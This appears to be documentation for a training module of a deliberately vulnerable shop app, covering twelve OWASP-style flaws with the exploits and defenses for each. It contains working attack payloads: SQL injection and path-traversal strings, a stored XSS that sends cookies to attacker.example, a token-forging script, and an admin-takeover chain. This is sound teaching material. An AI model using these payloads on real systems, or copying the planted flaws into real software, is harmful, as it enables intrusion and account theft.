Security Chaos¶
Security Chaos injects 12 flaws inspired by the OWASP Top 10 into the e-commerce journey. Each flaw is tied to a real PerfShop endpoint, exploitable from a standard HTTP client (curl, Postman, Burp). The pedagogical goal is to train students in the detection and exploitation of real-world web vulnerabilities in a controlled environment.
Service and endpoint¶
Class: SecurityChaosService.java
Controller: SecurityChaosController.java
Admin endpoint: POST /api/admin/chaos/security body {"level": 0-4}
Public endpoint: GET /api/chaos/public/security/{status,logs,faults}
Levels¶
| Level | Label | Active flaws | Cumulative |
|---|---|---|---|
| 0 | Disabled | none | 0 |
| 1 | Junior | S1 – S3 | 3 |
| 2 | Intermediate | S1 – S6 | 6 |
| 3 | Expert | S1 – S9 | 9 |
| 4 | Master | S1 – S12 (admin portal) | 12 |
Master level 4 unlocks three flaws specific to PerfShop's admin portal (S10, S11, S12) — a hidden endpoint that should only exist in a test environment but ends up exposed in production in this scenario.
OWASP Top 10 mapping¶
| Flaw | Name | OWASP | Exposed endpoint |
|---|---|---|---|
| S1 | SQL Injection | A03:2021 | GET /api/products/search?q= |
| S2 | Order IDOR | A01:2021 | GET /api/orders/{id} |
| S3 | Exposed Password Hash | A02:2021 | GET /api/auth/me |
| S4 | Stored XSS | A03:2021 | POST /api/orders (shippingAddress field) |
| S5 | Price Tampering | A04:2021 | POST /api/orders (price in body) |
| S6 | Login Timing Attack | A07:2021 | POST /api/auth/login |
| S7 | Weak HMAC Token | A02:2021 | POST /api/auth/login → X-Debug-Token header |
| S8 | Path Traversal | A01:2021 | GET /api/orders/{id}/invoice?format= |
| S9 | Mass Assignment | A08:2021 | PUT /api/auth/me |
| S10 | Unauthenticated Portal Stats | A09:2021 | GET /api/admin/portal/stats |
| S11 | Portal Login SQLi | A03:2021 | POST /api/admin/portal/login |
| S12 | Privilege Escalation IDOR | A01:2021 | PUT /api/admin/portal/accounts/{id}/promote |
The OWASP codes refer to the 2021 edition of the Top 10.
Level 1 — Junior (S1 – S3)¶
S1 — SQL Injection¶
Required level: 1+
Method: recordSqlInjection(String query, String userInfo)
Counter: chaos.security.s1.sqli
OWASP: A03:2021 — Injection
Vulnerable endpoint: GET /api/products/search?q=
The product search endpoint runs a native SQL query — instead of using a parameterized PreparedStatement, it concatenates the q parameter directly into the query. The service detects suspicious patterns through the SQL_INJECTION_PATTERN regex which matches ', --, ;, OR, AND, UNION, SELECT, DROP, INSERT, UPDATE, DELETE, EXEC, CAST, CONVERT.
Exploitation¶
curl "https://perfshop-api.perfshop.io/api/products/search?q=' OR '1'='1"
curl "https://perfshop-api.perfshop.io/api/products/search?q=admin'--"
Symptoms¶
- Loki logs:
[SecurityChaos][S1] SQL INJECTION detected — payload='...'(severity ERROR) - Activity log:
S1_SQLIentry with the extracted pattern (single quote, SQL comment, multi-query, UNION, SELECT, OR) - Abnormal behavior: the search returns unexpected results or all products
Pedagogy¶
Demonstration of classic SQL injection — students learn to identify effective payloads and to understand why PreparedStatements with bound parameters are the only real defense.
S2 — Order IDOR¶
Required level: 1+
Method: recordIdorAccess(String attackerEmail, Long victimUserId, Long orderId)
Counter: chaos.security.s2.idor
OWASP: A01:2021 — Broken Access Control
Vulnerable endpoint: GET /api/orders/{id}
The check that the order belongs to the logged-in user is disabled. Any authenticated user can reach the orders of other users by simply incrementing the identifier.
Exploitation¶
# Logged in as an attacker, reach other users' orders
curl https://perfshop-api.perfshop.io/api/orders/1 -H "Cookie: ..."
curl https://perfshop-api.perfshop.io/api/orders/2 -H "Cookie: ..."
curl https://perfshop-api.perfshop.io/api/orders/42 -H "Cookie: ..."
Symptoms¶
- The endpoint returns HTTP 200 with the order details instead of a 403 Forbidden
- Loki logs:
[SecurityChaos][S2] IDOR detected — attacker={email} order#{id} userId={victimId} - Activity log:
S2_IDORseverity ERROR with attacker + victim
Pedagogy¶
This is the most banal and the most devastating security bug in REST APIs. A simple test is to iterate on order IDs and count 200 vs 403 codes. Any 200 on an order that doesn't belong to me is an IDOR.
S3 — Exposed Password Hash¶
Required level: 1+
Method: recordPasswordHashExposed(String userEmail)
Counter: chaos.security.s3.hash
OWASP: A02:2021 — Cryptographic Failures
Vulnerable endpoint: GET /api/auth/me
The DTO returned by /api/auth/me includes a password field containing the full BCrypt hash ($2a$10$...). The hash is cryptographically strong, but its mere exposure enables an offline dictionary or GPU attack against weak passwords.
Exploitation¶
curl https://perfshop-api.perfshop.io/api/auth/me -H "Cookie: ..." | jq .password
# → "$2a$10$N9qo8uLOickgx2ZMRZoMyeIjZAgcfl7p92ldGxad68LJZdL17lhWy"
Symptoms¶
- The
/api/auth/meJSON contains a non-nullpasswordfield - Loki logs:
[SecurityChaos][S3] BCrypt password hash exposed — user={email} - Activity log:
S3_HASHseverity WARN
Pedagogy¶
Classic forgotten DTO flaw: a developer auto-generates the DTO from the JPA entity (Lombok, MapStruct) without excluding sensitive fields. The defense is the systematic use of explicit DTOs with a field whitelist.
Level 2 — Intermediate (S4 – S6)¶
S4 — Stored XSS¶
Required level: 2+
Method: processShippingAddress(String address, String userEmail)
Counter: chaos.security.s4.xss
OWASP: A03:2021 — Injection
Vulnerable endpoint: POST /api/orders (shippingAddress field)
The shipping address is stored raw in the database without any HTML sanitization. Any XSS payload is then rendered as-is in the instructor admin interface, allowing JavaScript execution in a privileged user's browser. The service detects XSS patterns through the XSS_PATTERN regex which matches <script, <img, <svg, onerror=, onload=, onclick=, javascript:, <iframe, <object, <embed, alert(, eval(.
Exploitation¶
curl -X POST https://perfshop-api.perfshop.io/api/orders \
-H "Content-Type: application/json" -H "Cookie: ..." \
-d '{"shippingAddress": "<script>fetch(\"https://attacker.example/?c=\"+document.cookie)</script>"}'
Symptoms¶
- Loki logs:
[SecurityChaos][S4] STORED XSS detected — payload='...' - Activity log:
S4_XSSseverity ERROR - Observable effect: the payload executes JS when the instructor opens the order in
chaos-admin
Pedagogy¶
Stored XSS is more dangerous than reflected XSS because it persists and hits every user who views the data — typically administrators. Demonstration of the importance of escaping HTML on output (frontend side) rather than on input.
S5 — Price Tampering¶
Required level: 2+
Method: recordPriceTampering(Long productId, BigDecimal clientPrice, BigDecimal realPrice, String userEmail)
Counter: chaos.security.s5.price
OWASP: A04:2021 — Insecure Design
Vulnerable endpoint: POST /api/orders
The backend accepts the unit price sent by the client in the order body instead of retrieving it from the database. An attacker can thus order a €999 product for €0.01 simply by modifying the JSON payload.
Exploitation¶
curl -X POST https://perfshop-api.perfshop.io/api/orders \
-H "Content-Type: application/json" -H "Cookie: ..." \
-d '{"items":[{"productId": 42, "quantity": 1, "price": 0.01}]}'
Symptoms¶
- Loki logs:
[SecurityChaos][S5] PRICE TAMPERED — product#42 client=0.01 actual=999.00 — user={email} - Activity log:
S5_PRICEERROR with computed fraudulent savings - Database: the order is created at the submitted price, not at the catalog price
Pedagogy¶
Classic anti-pattern: blindly trusting the client body. The golden rule is that the server must always recompute amounts from canonical data (catalog, server-validated promos). The client should only send productId and quantity.
S6 — Login Timing Attack¶
Required level: 2+
Method: recordTimingAttack(String email, boolean userExists, long timingMs)
Counter: chaos.security.s6.timing
OWASP: A07:2021 — Identification and Authentication Failures
Vulnerable endpoint: POST /api/auth/login
The login endpoint replies in under 5 ms when the email does not exist (short-circuit before any cryptographic computation), and in ~300 ms when the email exists (BCrypt is intentionally slow). This observable timing difference lets an attacker enumerate valid accounts without even attempting a password.
Exploitation¶
# Measure the response time to enumerate accounts
for email in alice@x.com bob@y.com charlie@z.com; do
time curl -s -X POST https://perfshop-api.perfshop.io/api/auth/login \
-d "{\"email\":\"$email\",\"password\":\"x\"}" \
-H "Content-Type: application/json"
done
# Emails that respond in ~300ms exist
# Those that respond in <5ms do not
Symptoms¶
- Loki logs:
[SecurityChaos][S6] Timing attack — email={masked} exists={bool} timing={ms}ms - Activity log:
S6_TIMING(ERROR if the account does not exist, WARN if it does)
Pedagogy¶
Demonstration of side-channels applied to the web. The defense is to always run a dummy BCrypt when the email does not exist, to equalize response times — the "constant-time comparison" pattern.
Level 3 — Expert (S7 – S9)¶
S7 — Weak-key HMAC token¶
Required level: 3+
Methods: generateWeakToken(Long userId) / validateWeakToken(String token, Long sessionUserId)
Counter: chaos.security.s7.token
OWASP: A02:2021 — Cryptographic Failures
Vulnerable endpoint: POST /api/auth/login → X-Debug-Token header
The backend generates an additional X-Debug-Token token with the format base64(userId:timestamp).hmac-sha256(payload) signed with the secret123 key (constant WEAK_HMAC_KEY). Since the key is trivially guessable (or discoverable in the sources), the attacker can forge a valid token for any userId.
Exploitation¶
import base64, hmac, hashlib, time
WEAK_KEY = "secret123" # guessed or found in source
target_user_id = 1 # forge a token for the admin
payload = f"{target_user_id}:{int(time.time() * 1000)}"
sig = base64.urlsafe_b64encode(
hmac.new(WEAK_KEY.encode(), payload.encode(), hashlib.sha256).digest()
).rstrip(b"=").decode()
forged = base64.urlsafe_b64encode(payload.encode()).rstrip(b"=").decode() + "." + sig
print(f"X-Debug-Token: {forged}")
Symptoms¶
- Loki logs:
[SecurityChaos][S7] FORGED TOKEN — sessionUserId={real} tokenUserId={forged} - Activity log:
S7_TOKENERROR with detected impersonation - The forged token is accepted as valid by
validateWeakToken()
Pedagogy¶
Demonstration that the strength of the HMAC algorithm never compensates for a weak key. The defense is to use cryptographically random keys (≥ 256 bits) loaded from a secret manager, never hardcoded in source.
S8 — Path Traversal¶
Required level: 3+
Method: processInvoiceFormat(String format, Long orderId, String userEmail)
Counter: chaos.security.s8.path
OWASP: A01:2021 — Broken Access Control
Vulnerable endpoint: GET /api/orders/{id}/invoice?format=
The format parameter (normally pdf or csv) is not validated. The service detects traversal patterns through the PATH_TRAVERSAL_PATTERN regex (../, %2e%2e%2f, %2e%2e/, ..\\/, %252e%252e, ..%2f) as well as the characters .., /, \. The service then simulates reading the targeted file to demonstrate the impact, without touching the real host filesystem.
Exploitation¶
curl "https://perfshop-api.perfshop.io/api/orders/1/invoice?format=../../../etc/passwd"
curl "https://perfshop-api.perfshop.io/api/orders/1/invoice?format=../config/application.yml"
curl "https://perfshop-api.perfshop.io/api/orders/1/invoice?format=../.env"
Symptoms¶
- The returned content simulates sensitive files:
/etc/passwd,application.yml(with DB passwords redacted),.env(with secrets redacted) - Loki logs:
[SecurityChaos][S8] PATH TRAVERSAL detected — format='...' orderId={id} - Activity log:
S8_PATHERROR
Pedagogy¶
Demonstration of the consequences of using a client parameter in a file path without validation. The defense is canonicalization + whitelist: resolve the absolute path and check that it belongs to the allowed directory.
S9 — Mass Assignment¶
Required level: 3+
Method: detectAndRecordMassAssignment(Map<String, Object> body, String userEmail)
Counter: chaos.security.s9.mass
OWASP: A08:2021 — Software and Data Integrity Failures
Vulnerable endpoint: PUT /api/auth/me
The profile update endpoint does not use an allowed-fields whitelist. The attacker can therefore submit sensitive fields in the body — email, password, id, createdAt, lastLogin (SENSITIVE_FIELDS constant) — that will be accepted and applied to the user entity.
Exploitation¶
# Change another account's email (combined with id)
curl -X PUT https://perfshop-api.perfshop.io/api/auth/me \
-H "Content-Type: application/json" -H "Cookie: ..." \
-d '{"id": 1, "email": "attacker@evil.com", "password": "hacked"}'
Symptoms¶
- Loki logs:
[SecurityChaos][S9] MASS ASSIGNMENT — fields: email, password, id — user={email} - Activity log: one
S9_MASSERROR entry per detected sensitive field - Effect: sensitive fields modified without any control
Pedagogy¶
Frequent anti-pattern in Spring Boot when @RequestBody Entity is used directly instead of a restricted DTO. The defense is to use an update DTO with only the fields modifiable by the user (firstName, lastName, phone, etc.) and to manually map into the entity.
Level 4 — Master: hidden admin portal (S10 – S12)¶
Master level unlocks three flaws specific to PerfShop's hidden admin portal, reachable under /api/admin/portal/*. This portal is an admin surface that should not exist in production but ends up exposed in the pedagogical scenario. The three flaws form a realistic exploitation chain: enumeration → auth bypass → privilege escalation.
S10 — Unauthenticated Portal Stats¶
Required level: 4
Method: recordPortalStatsAccess(String clientIp)
Counter: chaos.security.s10.portal
OWASP: A09:2021 — Security Logging and Monitoring Failures
Vulnerable endpoint: GET /api/admin/portal/stats
The admin portal statistics endpoint is reachable without authentication. It exposes the user count, order count, product count, and — worse — the superadmin email.
Exploitation¶
curl https://perfshop-api.perfshop.io/api/admin/portal/stats
# {
# "users": 142,
# "orders": 1287,
# "products": 56,
# "superAdminEmail": "admin@perfshop.io"
# }
Symptoms¶
- The endpoint returns HTTP 200 to an unauthenticated call
- Loki logs:
[SecurityChaos][S10] PORTAL STATS unauthenticated access — ip={clientIp} - Pedagogy: classic information disclosure — the first step of any targeted attack
S11 — Portal Login SQLi¶
Required level: 4
Method: recordPortalSqliAttempt(String emailPayload, boolean bypassed)
Counter: chaos.security.s11.sqli
OWASP: A03:2021 — Injection
Vulnerable endpoint: POST /api/admin/portal/login
The admin portal login form is vulnerable to SQL injection — the email/password verification query is concatenated. The classic payload admin' OR '1'='1' -- fully bypasses authentication and yields a valid adminToken.
Exploitation¶
curl -X POST https://perfshop-api.perfshop.io/api/admin/portal/login \
-H "Content-Type: application/json" \
-d "{\"email\": \"admin' OR '1'='1' --\", \"password\": \"x\"}"
# → { "adminToken": "...", "user": { ... } }
Symptoms¶
- The bypass succeeds: the API returns an
adminTokendespite an arbitrary password - Loki logs:
[SecurityChaos][S11] PORTAL SQLI SUCCESSFUL — payload='...'(severity ERROR) - Activity log:
S11_SQLIERROR with the exact payload
Pedagogy¶
Demonstration that internal admin surfaces deserve the same controls as public surfaces. The myth of "internal surface therefore protected" is a recurring cause of critical bypasses. Combined with S10 (superadmin email enumeration), the attack becomes targeted.
S12 — Privilege Escalation IDOR¶
Required level: 4
Method: recordPrivilegeEscalation(Long requesterId, Long targetId)
Counter: chaos.security.s12.idor
OWASP: A01:2021 — Broken Access Control
Vulnerable endpoint: PUT /api/admin/portal/accounts/{id}/promote
The promotion-to-superAdmin endpoint does not check that the caller is themselves superAdmin — any standard admin can promote an arbitrary account to the superAdmin rank. This is the culmination of the S10 → S11 → S12 chain: an attacker who has bypassed the login (S11) can promote their own account to the top rank.
Exploitation¶
# Step 1: enumeration through S10
curl https://perfshop-api.perfshop.io/api/admin/portal/stats
# Step 2: auth bypass through S11
TOKEN=$(curl -X POST .../portal/login -d "..." | jq -r .adminToken)
# Step 3: self-promotion through S12
curl -X PUT https://perfshop-api.perfshop.io/api/admin/portal/accounts/2/promote \
-H "Authorization: Bearer $TOKEN"
Symptoms¶
- The target account gets
superAdmin = true - Loki logs:
[SecurityChaos][S12] PRIVILEGE ESCALATION — requesterId={X} -> targetId={Y} - Activity log:
S12_IDORERROR
Pedagogy¶
Demonstration that an exploit chain is often worth more than an isolated flaw. The defense is systematic role checking on every sensitive action — the "never trust, always verify" pattern applied to internal APIs.
API — public endpoints¶
| Endpoint | Description |
|---|---|
GET /api/chaos/public/security/status |
Current level + 12 counters |
GET /api/chaos/public/security/logs |
Activity log (last 200 entries) |
GET /api/chaos/public/security/faults?level=N |
Pedagogical catalog for level N (with OWASP + endpoint) |
API — admin endpoints¶
# Enable Master level
curl -X POST https://perfshop-api.perfshop.io/api/admin/chaos/security \
-H "X-Admin-Token: $TOKEN" -H "Content-Type: application/json" \
-d '{"level": 4}'
# Reset (all flaws disabled + counters set to 0)
curl -X POST https://perfshop-api.perfshop.io/api/admin/chaos/security/reset \
-H "X-Admin-Token: $TOKEN"
# Clear the activity log
curl -X POST https://perfshop-api.perfshop.io/api/admin/chaos/security/logs/clear \
-H "X-Admin-Token: $TOKEN"
Student activation¶
POST /api/chaos/student/security body {"level": N} — requires student mode and a valid license for level > 0. Without a license, it returns HTTP 402 LICENSE_REQUIRED.
Hackathon mode¶
For Security Chaos, hackathon mode has a particular flavor: students have API access and must identify the active flaws (unexpected responses, extra fields, timing, etc.), exploit them to demonstrate their impact, and document every flaw using the standard OWASP format (title, vector, impact, remediation).